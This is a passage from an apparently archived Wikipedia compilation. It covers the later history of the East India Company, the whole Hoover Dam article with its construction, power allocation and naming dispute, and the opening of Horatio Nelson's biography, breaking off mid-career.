            	opened India to missionaries.

          


          


          Charter Act 1833


          The Industrial Revolution in Britain, and the consequent search for markets, and the rise of laissez-faire economic ideology form the background to this act. The Act:


          
            	removed the Company's remaining trade monopolies and divested it of all its commercial functions;


            	renewed for another twenty years the Companys political and administrative authority;


            	invested the Board of Control with full power and authority over the Company. As stated by Kapur Professor Sri Ram Sharma, thus, summed up the point: "The President of the Board of Control now became Minister for Indian Affairs";


            	carried further the ongoing process of administrative centralization through investing the Governor-General in Council with, full power and authority to superintend and, control the Presidency Governments in all civil and military matters;


            	initiated a machinery for the codification of laws;


            	provided that no Indian subject of the Company would be debarred from holding any office under the Company by reason of his religion, place of birth, descent or colour. However, this remained a dead letter well into the 20th century;


            	vested the Island of St Helena in the Crown.

          


          Meanwhile, British influence continued to expand; in 1845, the Danish colony of Tranquebar was sold to Great Britain. The Company had at various stages extended its influence to China, the Philippines, and Java. It had solved its critical lack of the cash needed to buy tea by exporting Indian-grown opium to China. China's efforts to end the trade led to the First Opium War with Britain.


          


          Charter Act 1853


          This Act provided that British India would remain under the administration of the Company in trust for the Crown until Parliament should decide otherwise.


          


          Indian Rebellion of 1857-8


          The efforts of the company in administering India emerged as a model for the civil service system in Britain, especially during the 19th century. Deprived of its trade monopoly in 1813, the company wound up as a trading enterprise.


          Following the 1857 insurrection, known to the British as the "Great Mutiny" but to Indians as the "First War of Independence", the Company was nationalised by the Government in London to which it lost all its administrative functions and all of its Indian possessions - including its armed forces - were taken over by the Crown in the Government of India Act 1858.


          The Company was still managing the tea trade on behalf of the British government (and supplying Saint Helena). When the East India Stock Dividend Redemption Act came into effect, the Company was dissolved on January 1, 1874. The Times reported, "It accomplished a work such as in the whole history of the human race no other company ever attempted and as such is ever likely to attempt in the years to come."


          


          Today


          As late as 2007 a warehouse in Orissa, India still recorded as belonging to the British East India Company was erroneously sent an electricity bill in the name of the Company .


          There are a number of companies with variants of "East India Company" in their name in Britain , and one of them may be at the root of the recent news that the East India Company was acquired with its intellectual property (including trademarks, designs, manuscripts, research material), tea and publishing businesses, by Indian Sanjiv Mehta.


          


          Modern day use of terms


          In 1987, coffee merchants Tony Wild and David Hutton created a public limited company called "The East India Company" and in 1990 registered versions of the Company's coat of arms as a trademark, although the Patent Office noted 'Registration of this mark shall give no right to the exclusive use of the words "The East India Company". By December 1996, this company had a website. It sold St Helena coffee branded with the Company name and also produced a book on the history of the Company. This company has no legal continuity with the original Company, even though it claims on its website to have been founded in 1600.


          The East India Company features in a number of fictional accounts of pirates and other related topics, including Disney's Pirates of the Caribbean film series, in which it is among the chief adversaries of the pirate protagonists and where it is referred to as the " East India Trading Company".


          


          East India Club


          On the eve of the demise of the East India Company, the East India Club in London was formed for officers of the East India Company and their servants. The Club still exists today and its club house is situated at 16 St. James's Square London.


          


          Flags


          The East India Company flag changed over time. From the period of 1600 to 1707 (Act of Union between England and Scotland) the flag consisted of a St George's cross in the canton and a number of alternating Red and White stripes. After 1707 the canton contained the original Union Flag consisting of a combined St George's cross and a St Andrew's cross. After the Act of Union 1800, that joined Ireland into the United Kingdom, the canton of the East India Company's flag was altered accordingly to include the new Union Flag with the additional St Patrick's cross. There has been much debate and discussion regarding the number of stripes on the flag and the order of the stripes. Historical documents and paintings show many variations from 9 to 13 stripes, with some images showing the top stripe being red and others showing the top stripe being white.


          At the time of the American Revolution the East India Company flag would have been identical to the Grand Union Flag. The flag probably inspired the Stars and Stripes (as argued by Sir Charles Fawcett in 1937). Comparisons between the Stars and Stripes and the Company's flag from historical records present some convincing arguments. The John Company flag dates back to the 1600s whereas the United States adopted the Stars and Stripes in 1777.


          The stripes and gridlike appearance of the flag gave rise to several pieces of imperial slang. Most notably is the phrase 'riding the gridiron'; this referred to travelling on a ship flying the company flag to / from India.


          


          Ships


          A ship of the East India Company can also be called an East Indiaman.


          
            	Earl of Abergavenny


            	Royal Captain


            	Agamemnon (1855)

          


          


          East India Company Records


          Unlike all other British Government records, the records from the East India Company (and its successor India Office) are not in The National Archives at Kew, London, but are stored by the British Library in London as part of the Asia, Pacific and Africa Collection. The catalogue is searchable online in the Access to Archives catalogues. Many of The East India Company Records are freely available online under an agreement that FIBIS have with the British Library.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Honourable_East_India_Company"
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              	Officialname

              	Hoover Dam
            


            
              	Impounds

              	Colorado River
            


            
              	Creates

              	Lake Mead
            


            
              	Locale

              	Nevada- Arizona USA
            


            
              	Maintainedby

              	U.S. Bureau of Reclamation
            


            
              	Length

              	1244 ft (379 m)
            


            
              	Height

              	726.4 ft (221 m)
            


            
              	Constructionbegan

              	1931
            


            
              	Openingdate

              	1936
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              	Nearest city:

              	Boulder City, Nevada
            


            
              	Built/Founded:

              	1933
            


            
              	Architect:

              	Six Companies,Inc.
            


            
              	Architectural style(s):

              	Art Deco
            


            
              	Designated as NHL:

              	August 20, 1985
            


            
              	Added to NRHP:

              	April 08, 1981
            


            
              	NRHP Reference#:

              	81000382
            


            
              	MPS:

              	Vehicular Bridges in Arizona MPS (AD)
            


            
              	Governing body:

              	BUREAU OF RECLAMATION
            

          


          Hoover Dam, also known as Boulder Dam, is a concrete arch-gravity dam in the Black Canyon of the Colorado River, on the border between the U.S. states of Arizona and Nevada. When completed in 1935, it was both the world's largest electric power producing facility and the world's largest concrete structure. It was surpassed in both respects by the Grand Coulee Dam in 1945. It is currently the world's 34th largest hydroelectric generating station.


          The dam, located 30 miles (48 km) southeast of Las Vegas, is named after Herbert Hoover, who played an instrumental role in its construction, first as Secretary of Commerce and then later as President of the United States. Construction began in 1931 and was completed in 1935, more than two years ahead of schedule. The dam and the power plant are operated by the Bureau of Reclamation of the U.S. Department of the Interior. Listed on the National Register of Historic Places in 1981, Hoover Dam was designated a National Historic Landmark in 1985.


          Lake Mead is the reservoir created behind the dam, named after Elwood Mead, who oversaw the construction of the dam.


          


          Planning and agreements


          A commission was formed in 1922 with a representative from each of the Basin states and one from the Federal Government. The federal representative was Herbert Hoover, then Secretary of Commerce under President Warren Harding. In January 1922, Hoover met with the state governors of Arizona, California, Colorado, Nevada, New Mexico, Utah and Wyoming to work out an equitable arrangement for apportioning the waters of the Colorado River for their states' use. The resulting Colorado River Compact, signed on November 24, 1922, split the river basin into upper and lower halves with the states within each region deciding how the water would be divided. This agreement, known as the Hoover Compromise, paved the way for the Boulder Dam Project. It was built to help keep the silt and sediment out of the Colorado River.
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          The first attempt to gain Congressional approval for construction of Boulder Dam came in 1922 with the introduction of two bills in the House of Representatives and the Senate. The bills were introduced by Congressman Phil D. Swing and Senator Hiram W. Johnson and were known as the Swing-Johnson bills. The bills failed to come up for a vote and were subsequently reintroduced several times. In December 1928, both the House and the Senate finally approved the bill and sent it to the President for approval. On December 21, 1928, President Calvin Coolidge signed the bill approving the Boulder Canyon Project. The initial appropriation for construction was made in July 1930, by which time Herbert Hoover had become President.


          Early plans called for the dam to be built in Boulder Canyon, so the project was known as the Boulder Canyon Project. The dam site was eventually moved downstream eight miles to Black Canyon, but the project name remained the same.


          


          Contractors


          The contract to make the Boulder Dam was awarded to Six Companies, Inc. on March 11, 1931, a joint venture of Morrison-Knudsen Company of Boise, Idaho; Utah Construction Company of Ogden, Utah; Pacific Bridge Company of Portland, Oregon; Henry J. Kaiser & W. A. Bechtel Company of Oakland, California; MacDonald & Kahn Ltd. of Los Angeles; and the J.F. Shea Company of Portland, Oregon. The chief executive of Six Companies, Frank Crowe, had previously invented many of the techniques used to build the dam.


          During the concrete-pouring and curing portion of construction, it was necessary to circulate refrigerated water through tubes in the concrete. This was to remove the heat generated by the chemical reactions that solidify the concrete, since the setting and curing of the concrete was calculated to take about 125 years. Six Companies, Inc., did much of this work, but it discovered that such a large refrigeration project was beyond its expertise. Hence, the Union Carbide Corporation was contracted to assist with the refrigeration needs.


          Six Companies, Inc. was contracted to build a new town called Boulder City for workers, but the construction schedule for the dam was accelerated in order to create more jobs in response to the onset of the Great Depression, and the town was not ready when the first dam workers arrived at the site in early 1931. During the first summer of construction, workers and their families were housed in temporary camps like Ragtown while work on the town progressed. Discontent with Ragtown and dangerous working conditions at the dam site led to a strike on August 8, 1931. Six Companies responded by sending in strike-breakers with guns and clubs, and the strike was soon quelled. But the discontent prompted the authorities to speed up the construction of Boulder City, and by the spring of 1932 Ragtown had been deserted. Gambling, drinking and prostitution were not permitted in Boulder City during construction. To this day Boulder City is the only location in Nevada not to allow gambling, and the sale of alcohol was illegal until 1969.


          While working in the tunnels, many workers suffered from the carbon monoxide generated by the machinery there. The contractors claimed that the sickness was pneumonia and was not their responsibility. Some of the workers sickened and died because of the so-called "pneumonia". Most are uncounted on the official death list. In a court case, one of the claimants (Ed Kraus) said that the poisoning had resulted in his impotence. This was disproved after a prostitute in the pay of the contractors gave evidence. The jury failed to reach a verdict as a result, and the claim was lost.


          


          Construction


          


          Groundworks
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          To protect the construction site from flooding, two cofferdams were constructed. Construction of the upper cofferdam began in September 1932, even though the river had not yet been diverted. A temporary horseshoe-shaped dike protected the cofferdam on the Nevada side of the river. After the Arizona tunnels were completed, and the river diverted, the work was completed much faster. Once the coffer dams were in place and the construction site dewatered, excavation for the dam foundation began. For the dam to rest on solid rock, it was necessary to remove all loose material until solid rock was reached. Work on the foundation excavations was completed in June 1933. During excavations for the foundation, approximately 1,500,000 yd (1,150,000 m) of material was removed, including material removed in canyon wall stripping operations.


          


          River diversion


          To divert the river's flow around the construction site, four diversion tunnels were driven through the canyon walls, two on the Nevada side and two on the Arizona side. These tunnels were 56 feet (17.07 m) in diameter. Their combined length was nearly 16,000 feet (4877 m, more than three miles). Tunneling began at the lower portals of the Nevada tunnels in May 1931. Shortly after, work began on two similar tunnels in the Arizona canyon wall. In March 1932, work began on lining the tunnels with concrete. First the base or invert was poured. Gantry cranes, running on rails through the entire length of each tunnel were used to place the concrete. The sidewalls were poured next. Movable sections of steel forms were used for the sidewalls. Finally, using pneumatic guns, the overheads were filled in. The concrete lining is 3 feet (914.4 mm) thick, reducing the finished tunnel diameter to 50 ft (15.24 m).


          Following the completion of the dam, the entrances to the two outer diversion tunnels were sealed at the opening and half way through the tunnels with large concrete plugs. The downstream half of the tunnels following the inner plugs are now the main body of the spillway tunnels. The spillways can be seen directly above the outer diversion tunnels. They drop sharply from their entrance point and merge directly into the old diversion tunnels.


          
            [image: Two intake towers on the Arizona side.]

            
              Two intake towers on the Arizona side.
            

          


          The two inner diversion tunnels have two concrete plugs in them. One is roughly half way along their length, and the other is around 75% of the way along their length. The section sandwiched between two concrete plugs is used as part of the tunnel which water travels along, to journey from the outermost intake towers and the generators. The two innermost intake towers have separate tunnels.


          The large spillway tunnels have only been used three times in the history of the dam; the first was during the second half of 1941 for testing. The second was for about six weeks during the summer of 1983, when record precipitation and snow-melt in the Colorado River basin drained into Lake Mead, and the third in 1999, again with heavy precipitation that filled Lake Mead.


          


          Rock clearance


          Before construction began on the dam itself it was necessary to remove loose rock from the canyon walls. The design of the dam is the arch and gravity type. The load of the water in the storage reservior is resisted by both the gravity/mass of the dam, and by the arch of the dam pressing against and into the side walls of Black Canyon. Therefore, the two vertical foundations for each of the arch walls (the Nevada side and Arizona side) had to be founded on sound "virgin" rock; free of cracks and the weathering that the surface rock of the canyon walls had from thousands of years of weathering and exposure.


          The men who removed this rock were called "high-scalers." While suspended from the top of the canyon with ropes high-scalers climbed down the canyon walls and removed the loose rock with jackhammers and dynamite.


          


          Concrete pouring


          The first concrete was placed into the dam on June 6, 1933. Since no structure of the magnitude of the Hoover Dam had been constructed, many of the procedures used in construction of the dam were untried. Since concrete heats up and contracts as it cures, uneven cooling and contraction of the concrete posed a serious problem. The Bureau of Reclamation engineers calculated that if the dam were built in a single continuous pour, the concrete would have taken 125 years to cool to ambient temperature. The resulting stresses would have caused the dam to crack and crumble. To solve this problem the dam was built in a series of interlocking trapezoidal columns. Each pour was no more than six inches deep. Because of this depth it is extremely unlikely that construction workers were accidentally buried alive in the concrete, contrary to popular folklore. To further cool the concrete each form contained cooling coils of 1 inch (25.4 mm) thin-walled steel pipe. River water was circulated through these pipes to help dissipate the heat from the curing concrete. After this, chilled water from a refrigeration plant on the lower cofferdam was circulated through the coils to further cool the concrete. After each layer had sufficiently cooled the cooling coils were cut off and pressure grouted by pneumatic grout guns. The concrete is still curing and gaining in strength as time goes on.


          There is enough concrete in the dam to pave a two-lane highway from San Francisco to New York .


          


          Construction deaths


          There were 112 deaths associated with the construction of the dam. There are different accounts as to how many people died while working on the dam and who was the first and last to die. A popular story holds that the first person to die in the construction of Hoover Dam was J. G. Tierney, a surveyor who drowned while looking for an ideal spot for the dam. Coincidentally, his son, Patrick W. Tierney, was the last man to die working on the dam, 13 years to the day later. 96 of the deaths occurred during construction at the site. However, another surveyor died prior while surveying a potential location for the dam and these statistics do not include other incidental and coincidental (heat stroke, heart failure, etc) deaths during construction.


          


          Power plant
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          The seventeen turbine-generators at this powerhouse generate a maximum of 2,074 megawatts of hydroelectric power.


          Excavation for the powerhouse was carried out simultaneously with the excavation for the dam foundation and abutments. Excavation for the U-shaped structure located at the downstream toe of the dam was completed in late 1933 with the first concrete placed in November 1933.


          Generators at the Dam's Hoover Powerplant began transmission of electricity from the Colorado River to Los Angeles, California 266 miles (428 km) away on October 26, 1936. Additional generating units were added through 1961.


          Water flowing from Lake Mead through the gradually-narrowing penstocks to the powerhouse reaches a speed of about 85 miles per hour (137 km/h) by the time it reaches the turbines. The entire flow of the Colorado River passes through the turbines. The spillways are rarely used.


          Hydroelectric power plants have the ability to vary the amount of power generated, depending on the demand. Steam turbine power plants are not as easily "throttled" because of the amount of thermodynamic inertia contained in their systems.


          


          Architectural style
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          The initial plans for the finished facade of both the dam and the power plant consisted of a simple, unadorned wall of concrete topped with a Gothic-inspired balustrade and a powerhouse that looked like little more than an industrial warehouse. This initial design was criticized by many as being too plain and unremarkable for a project of such immense scale, so Los Angeles-based architect Gordon B. Kaufmann was brought in to redesign the exteriors. Kaufmann greatly streamlined the buildings, and applied an elegant Art Deco style to the entire project, with sculptured turrets rising seamlessly from the dam face and clock faces on the intake towers set for Nevada and Arizona time, in the Pacific and Mountain time zones respectively (although because Arizona does not observe daylight saving time, the two clocks show the same time throughout much of the year).


          


          Use for road transport
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          Hoover Dam serves as a crossing for U.S. Route 93. The two lane section of road approaching the dam is narrow, has several dangerous hairpin turns, and is subject to rock slides.


          Additionally, in the wake of the September 11, 2001 terrorist attacks there are significant security concerns. Because of the attack the Hoover Dam Bypass project was expedited. The Hoover Dam Bypass is scheduled to be completed in 2010 and will divert US 93 traffic 1,500 feet downstream of the dam. The bypass will include a composite steel and concrete arch bridge, tentatively named the Mike O'Callaghan- Pat Tillman Memorial Bridge.


          Traffic across Hoover Dam is now restricted. Some types of vehicles are inspected prior to crossing the dam while semi-trailer trucks, buses carrying luggage, and enclosed-box trucks over 40 feet are not allowed on the bridge at all. This traffic is diverted south to a Colorado River crossing close to Laughlin, Nevada.


          


          Power distribution
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          The Bureau of Reclamation reports that the energy generated is allocated as follows:


          
            
              	Area

              	Percentage
            


            
              	Arizona

              	18.9527%
            


            
              	Nevada

              	23.3706%
            


            
              	Metropolitan Water District of Southern California

              	28.5393%
            


            
              	Burbank, CA

              	0.5876%
            


            
              	Glendale, CA

              	1.5874%
            


            
              	Pasadena, CA

              	1.3629%
            


            
              	Los Angeles, CA

              	15.4229%
            


            
              	Southern California Edison Co.

              	5.5377%
            


            
              	Azusa, CA

              	0.1104%
            


            
              	Anaheim, CA

              	1.1487%
            


            
              	Banning, CA

              	0.0442%
            


            
              	Colton, CA

              	0.0884%
            


            
              	Riverside, CA

              	0.8615%
            


            
              	Vernon, CA

              	0.6185%
            


            
              	Boulder City, NV

              	1.7672%
            

          


          


          Statistics
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            	Construction period: April 20, 1931  March 1, 1936


            	Construction cost: $49 million ($676 million adjusted for inflation)


            	Deaths attributed to construction: 112; 96 of them at the construction site


            	Dam height: 726.4 ft ( 221.4 m), second highest dam in the United States. (Only the Oroville Dam is taller)


            	Dam length: 1244 ft ( 379.2 m)


            	Dam thickness: 660 ft (200 m) at its base; 45 ft (15 m) thick at its crest.


            	Concrete: 4.36 million yd ( 3.33 million m)


            	Electric Power produced by the water turbines: 2,080 megawatts


            	Traffic across the dam: 13,000 to 16,000 people each day, according to the Federal Highway Administration


            	
              Lake Mead (full pool)

              
                	area: 157,900 acres (639 km), backing up 110 miles (177 km) behind the dam.


                	volume: 28,537,000 acre feet (35.200 km) at an elevation of 1,221.4 feet (372.3 m) .

              

            


            	With 8 to 10 million visitors each year, including visitors to Hoover Dam but not all traffic across the dam, the Lake Mead National Recreation Area is the fifth busiest U.S. national park.

          


          


          The naming controversy


          The dam, originally planned for a location in Boulder Canyon, was relocated to Black Canyon for better impoundment, but was still known as the Boulder Dam project. Work on the project started on July 7, 1930. At the official beginning of the project on September 17, 1930, President Hoover's Secretary of the Interior Ray L. Wilbur, announced that the new dam on the Colorado River would be named Hoover Dam to honour the then President of the United States. Wilbur followed a long-standing tradition of naming important dams after the President who was in office when they were constructed, such as Wilson Dam and Coolidge Dam. Furthermore, Hoover was already campaigning for re-election in the face of the Depression and sought credit for creating jobs. A Congressional Act of February 14, 1931, made the name "Hoover Dam" official.


          In 1932, Hoover lost his bid for reelection to Franklin Delano Roosevelt. In his memoirs, Hoover writes of stopping to inspect progress on the dam, by night, on November 12, 1932 on his way back to Washington from Palo Alto after his defeat. He commented, "It does give me extraordinary pleasure to see the great dream I have so long held taking form in actual reality of stone and cement. It is now ten years since I became chairman of the Colorado River Commission.... This dam is the greatest engineering work of its character ever attempted by the hand of man." He went on to list its purposes, concluding, "I hope to be present at its final completion as a bystander. Even so I shall feel a special personal satisfaction." (Hoover adds a footnote to this, see below.)


          When Roosevelt took office on March 4, 1933, he brought Harold Ickes with him to replace Ray Lyman Wilbur as Secretary of the Interior. Ickes wasted no time removing Hoovers name from the Boulder Canyon Project. On May 8, 1933, Ickes issued a memorandum to the Bureau of Reclamation, which was in charge of the dam, stating, "I have your reference to the text for the pamphlet descriptive of the Boulder Canyon Project for use at the Century of Progress Exposition. I would be glad if you will refer to the dam as 'Boulder Dam' in this pamphlet as well as in correspondence and other references to the dam as you may have occasion to make in the future."


          This did not happen immediately, but over the following several years all references to "Hoover" Dam in official sources, as well as tourist and other promotional materials, vanished in favour of "Boulder" Dam.


          Roosevelt died in 1945 and Harold Ickes retired in 1946. On March 4, 1947 California Republican Congressman Jack Anderson submitted House Resolution 140 to "restore" the name Hoover Dam. Andersons resolution passed the House on March 6; a companion resolution passed the Senate on April 23, and on April 30, 1947, President Harry S. Truman signed Public Law 43 which read: "Resolved  that the name of Hoover Dam is hereby restored to the dam on the Colorado River in Black Canyon constructed under the authority of the Boulder Canyon Project Act  . Any law, regulation, document, or record of the United States in which such dam is designated or referred to under the name of Boulder Dam shall be held to refer to such dam under and by the name of Hoover Dam."


          Hoover writes this footnote to his comments of November 12, 1932: "Responding to a suggestion from Hiram Johnson, and with his characteristic attitude, Secretary Ickes changed the name of the dam. The hint in the above address that I should like to be present did not secure me an invitation to the dedication ceremonies conducted by President Roosevelt. I have never regarded the name as important. The important thing is a gigantic engineering accomplishment that will bring happiness to millions of people. In 1947, the Congress, by practically unanimous action, restored the name Hoover Dam  to Mr. Ickes intense indignation."


          
            Retrieved from " http://en.wikipedia.org/wiki/Hoover_Dam"
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        Horatio Nelson, 1st Viscount Nelson


        
          

          
            
              	Vice-Admiral The Viscount Nelson
            


            
              	29 September 1758  October 21, 1805 (aged47)
            


            
              	[image: ]

              Vice Admiral Horatio Lord Nelson, by Lemuel Francis Abbott
            


            
              	Placeof birth

              	Burnham Thorpe, Norfolk, England
            


            
              	Placeof death

              	Cape Trafalgar, Spain
            


            
              	Allegiance

              	United Kingdom of

              Great Britain and Ireland
            


            
              	Service/branch

              	Royal Navy
            


            
              	Yearsof service

              	17711805
            


            
              	Rank

              	Vice Admiral
            


            
              	Battles/wars

              	Battle of Cape St Vincent

              Battle of the Nile

              Battle of Santa Cruz de Tenerife

              Battle of Copenhagen

              Battle of Trafalgar
            


            
              	Awards

              	Several (see below)
            

          


          Vice-Admiral Horatio Nelson, 1st Viscount Nelson, KB ( 29 September 1758  21 October 1805) was a British admiral famous for his participation in the Napoleonic Wars, most notably in the Battle of Trafalgar, a decisive British victory in the war, during which he lost his life. Nelson went against the conventional tactics of the time by cutting through the enemy's lines. Nelson was noted for his ability to inspire and bring out the best in his men, to the point that it gained a name: "The Nelson Touch". His actions during these wars and his heroic image as a one-armed, one-eyed patriot, ensured that before and after his death he was revered.


          In 1798, even though he had been married since 1787, Nelson famously became embroiled in an affair with Emma, Lady Hamilton, the wife of William Hamilton, the British Ambassador to Naples which lasted until his death. Emma became Nelson's mistress, returning to the United Kingdom to live openly with him, and eventually they had a daughter, Horatia. It was the public knowledge of this affair that induced the Royal Navy to send Nelson back out to sea after he had been recalled. By his death in 1805 Nelson had become a national hero, and he was given a State funeral. His memory lives on in numerous monuments, the most notable of which is London's Nelson's Column, which stands in the centre of Trafalgar Square.


          


          Early life


          Horatio Nelson was born on 29 September 1758 in a rectory in Burnham Thorpe, Norfolk, England, the sixth of eleven children of the Reverend Edmund Nelson and Catherine Nelson. His mother, who died when he was nine, was a grandniece of Sir Robert Walpole, 1st Earl of Oxford, the de facto first prime minister of the British Parliament. She lived in the village of Barsham, Suffolk and married the Reverend Edmund Nelson at Beccles church, Suffolk in 1749.


          Nelson was briefly educated at Paston Grammar School, North Walsham, where he made several lifelong friends, including Levett Hanson, who proved a lifelong correspondent. Nelson also attended Norwich School, and by the time he was twelve he had enrolled in the Royal Navy. His naval career began on 1 January 1771 when he reported to the third-rate Raisonnable as an Ordinary Seaman and coxswain. Nelsons maternal uncle, Captain Maurice Suckling, commanded the vessel. Shortly after reporting aboard, Nelson was appointed a midshipman and began officer training. Nelson found that he suffered from seasickness, a chronic complaint that dogged him for the rest of his life.
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          Suckling became Comptroller of the Navy in 1775 and used his position to help Nelson's rapid advance. By 1777 Nelson had risen to the rank of lieutenant and was assigned to the West Indies. During his service as lieutenant he saw action in the American War of Independence. He was made post-captain in June 1779, at the age of 20. His first command at this rank was the 28-gun frigate HMS Hinchinbroke, newly captured from the French.


          In 1780 he was involved in an action against the Spanish fortress of San Juan in Nicaragua. Though the expedition was ultimately a major debacle, none of the blame was attributed to Nelson, who was praised for his efforts. He fell seriously ill, probably contracting malaria, and returned to Britain for more than a year to recover.


          


          Command


          In 1783, Nelson led a 100-man force in a successful attempt to dislodge a French force from the Turks Islands. In 1784 he contemplated standing for Parliament at the General Election that year, but did not do so; he was instead given command of the frigate Boreas, and assigned to enforce the Navigation Act in the vicinity of Antigua. This was during the dnouement of the American War of Independence, and enforcement of the Act was problematic: Now-foreign American vessels were no longer allowed to trade with British colonies in the Caribbean Sea, an unpopular rule with both the colonies and the Americans. After seizing four American vessels off Nevis, Nelson was sued by the captains of the ships for illegal seizure. As the merchants of Nevis supported them, Nelson was in peril of imprisonment and had to remain sequestered on Boreas for eight months. It took that long for the courts to deny the captains their claims, but in the interim Nelson met Frances "Fanny" Nisbet, a widow native to Nevis. Nelson and Fanny were married on 11 March 1787 at the end of his tour of duty in the Caribbean.
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          Nelson lacked a command for a few years after 1789. He lived on half pay during this time (a reasonably common occurrence in the peacetime Royal Navy). Then, in 1793, as the French Revolutionary government annexed the Austrian Netherlands (modern Belgium), which were traditionally preserved as a buffer state, Britain went to war. Nelson was recalled to service and given command of the 64-gun Agamemnon in 1793.


          He was first assigned to the Mediterranean, based out of the Kingdom of Naples. In 1794 he was wounded in the face by stones and debris thrown up by a close cannon shot during a joint operation at Calvi, Corsica. As a result, Nelson lost the sight in his right eye. Despite popular legend, there is no evidence that Nelson ever wore an eye patch, though he was known to wear an eyeshade to protect his remaining eye.


          In 1796 the position of commander-in-chief of the fleet in the Mediterranean passed to Sir John Jervis, who appointed Nelson to be commodore and to exercise independent command over the ships blockading the French coast. Agamemnon, often described as Nelson's favourite ship, was by now worn out and was sent back to the UK for repairs. Nelson was appointed to the 74-gun HMS Captain. In December 1796, on leaving Elba for Gibraltar, Nelson transferred his flag to the frigate Minerve (of French construction, commanded by Captain Cockburn). A Spanish frigate, Santa Sabina, was captured during the passage and Lieutenant Hardy was put in charge of the captured vessel. The following morning, two Spanish ships of the line and one frigate appeared. Nelson at first had no choice but to fight. But Hardy, in order to save his commodore, sacrificed his own ship by drawing the Spanish fire, leaving Nelson free to flee. Santa Sabina was recovered by the Spanish and Hardy was captured. The Spanish captain who was on board Minerve was later exchanged for Hardy in Gibraltar. In 1797 Nelson and his wife moved to Ipswich, Suffolk.


          


          Admiralty


          


          Battle of Cape St Vincent


          Nelson then took Captain and joined Sir John Jervis's fleet off Cape St Vincent, and reported the presence of a Spanish fleet that had sailed from Cartagena. Jervis prepared to give battle and the two fleets met on 14 February. Here Nelson found himself towards the rear of the British line, and realising that it would be a long time before he could get into action, he carried out his first famous act of disobeying orders. Instead of continuing to follow the line, he wore ship, breaking from the line and heading to engage the Spanish van, consisting of the 112-gun San Josef, the 80-gun San Nicolas and the 130-gun Santsima Trinidad. She engaged all three, assisted by HMS Culloden which had come to Nelson's aid. After an hour of exchanging broadsides had left both Captain and Culloden heavily damaged, Nelson found himself alongside the San Nicolas. He led a boarding party across, crying 'Westminster Abbey! or, glorious victory!' and forced her surrender. The San Josef attempted to come to the San Nicolass aid but became entangled with her. Nelson then took his party from the decks of the San Nicolas onto the San Josef and captured her as well. As night fell the Spanish broke off and sailed for Cadiz. Four ships had surrendered to the British, two of the them were Nelson's captures.


          Nelson was victorious, but had disobeyed orders. Jervis liked Nelson and so did not officially reprimand him. However in his official report of the battle he did not mention Nelson. He did though write a private letter to George Spencer in which he said that Nelson 'contributed very much to the fortune of the day'. Nelson also wrote several letters about his victory, reporting that his action was being referred to amongst the fleet as 'Nelson's Patent Bridge for boarding first rates'. Nelson's account was later challenged by Rear-Admiral William Parker, who had been aboard HMS Prince George. He claimed that Nelson had been supported by several more ships than he had acknowledged in his attack on the Spanish van, and that by the time he had boarded the San Josef, she had already struck her colours. Nelson's account of his role prevailed however. The victory was well received in Britain, Jervis was made Earl St Vincent and Nelson was made a Knight of the Bath. On 20 April he was promoted to Rear Admiral of the Blue. This was not a reward for his actions in the battle, but rather a standard promotion according to his seniority.


          


          Action off Cadiz


          Nelson was given command of HMS Theseus and on 27 May 1797 was ordered to lie off Cadiz, monitoring the Spanish fleet and awaiting the arrival of Spanish treasure ships from the American colonies. He soon pressed an attack on the city, carrying out a bombardment and an amphibious assault on 3 July. Personally leading the action, his barge collided with that of the Spanish commander, and a hand to hand struggle ensued between the two crews. Twice Nelson was nearly cut down, both times his life was saved by a seaman named John Sykes who took the blows and was badly wounded. The British then captured the Spanish boat and towed it back to the Theseus. During this period he prepared a scheme to capture Santa Cruz de Tenerife, aiming to secure a large amount of money from the treasure ship El Principe de Asturias that was reported to have recently arrived.


          


          Battle of Santa Cruz de Tenerife


          The battle plan called for a combination of naval bombardments and an amphibious landing. The initial attempt was called off after adverse currents hampered the assault and the element of surprise was lost. Nelson immediately ordered another assault but this was beaten back. He prepared for another attempt though, to take place during the night. He himself would lead one of the battalions. The operation ended in failure. The Spanish were better prepared than had been expected and had secured strong defensive positions. Several of the boats failed to land in the correct places in the confusion whilst those that did were swept by gunfire and grapeshot. Nelson's boat reached its intended landing point but as he stepped ashore he was hit in the right arm by a musketball, fracturing his humerus bone in multiple places. He was rowed back to the Theseus to be attended to by the surgeon. On arriving on his ship he refused to be helped aboard, declaring 'Leave me alone! I have got my legs left and one arm.' He was taken to the surgeon, instructing him to prepare his instruments and 'the sooner it was off the better'. Most of the right arm was amputated and within half an hour he had returned to issuing orders to his captains.


          Meanwhile a force under Sir Thomas Troubridge had fought their way to main square but could go no further. Unable to return to the fleet because their boats had been sunk, Troubridge had been forced to enter negotiations with the Spanish commander and the British were subsequently allowed to withdraw. The expedition had failed to achieve any of its objectives and had left a quarter of the landing force dead or wounded. The fleet remained off Tenerife for a further three days, Nelson fully aware of the extent of his failure and the adverse affect his amputed arm could have on his career. By 16 August his squadron had rejoined Jervis's fleet off Cadiz. Despondantly he wrote to Jervis 'A left-handed Admiral will never again be considered as useful, therefore the sooner I get to a very humble cottage the better, and make room for a better man to serve the state...' He returned to England aboard HMS Seahorse, arriving at Spithead on 1 September. He was met with a hero's welcome though, the British public had lionised Nelson after Cape St. Vincent and his wound earned him sympathy. They refused to attribute the defeat at Tenerife to him, preferring instead to blame poor planning on the part of St. Vincent, the Secretary at War or even William Pitt.


          


          Return to England


          Nelson returned to Bath with Fanny, before moving to London in October to seek medical expertise concerning his amputated arm. Whilst in London news reached him that Admiral Duncan had defeated the Dutch fleet at the Battle of Camperdown. Nelson exclaimed that he would have given his other arm to have been present. He spent the last months of 1797 recuperating in London, during which he was awarded the freedom of the city and an annual pension of 1,000 a year. He used the money to buy Round Wood Farm near Ipswich, and intended to retire there with Fanny.


          Despite these plans, Nelson was never to live there. Surgeons had been unable to remove the central ligature in his amputated arm. The ligature had caused considerable inflammation and poisoning, but had come out of its own accord early in December. Nelson rapidly began to recover, and eager to return to sea, began agitating the Admiralty for a command. He was promised the 80-gun HMS Foudroyant but she was not yet ready for sea. He was instead appointed to the 74-gun HMS Vanguard, and Nelson appointed Edward Berry as his flag captain. French activities in the Mediterranean theatre were concerning the Admiralty. Napoleon was gathering forces for his invasion of Egypt, but his objectives were unknown to the Admiralty. Nelson and the Vanguard were to be dispatched to Cadiz to reinforce the fleet. Nelson hoisted his flag on 28 March 1798 and sailed to join the fleet assembled at Cadiz under Earl St. Vincent. St. Vincent sent him on to Gibraltar with a small force to reconnoitre French activities.


          


          Hunting the French


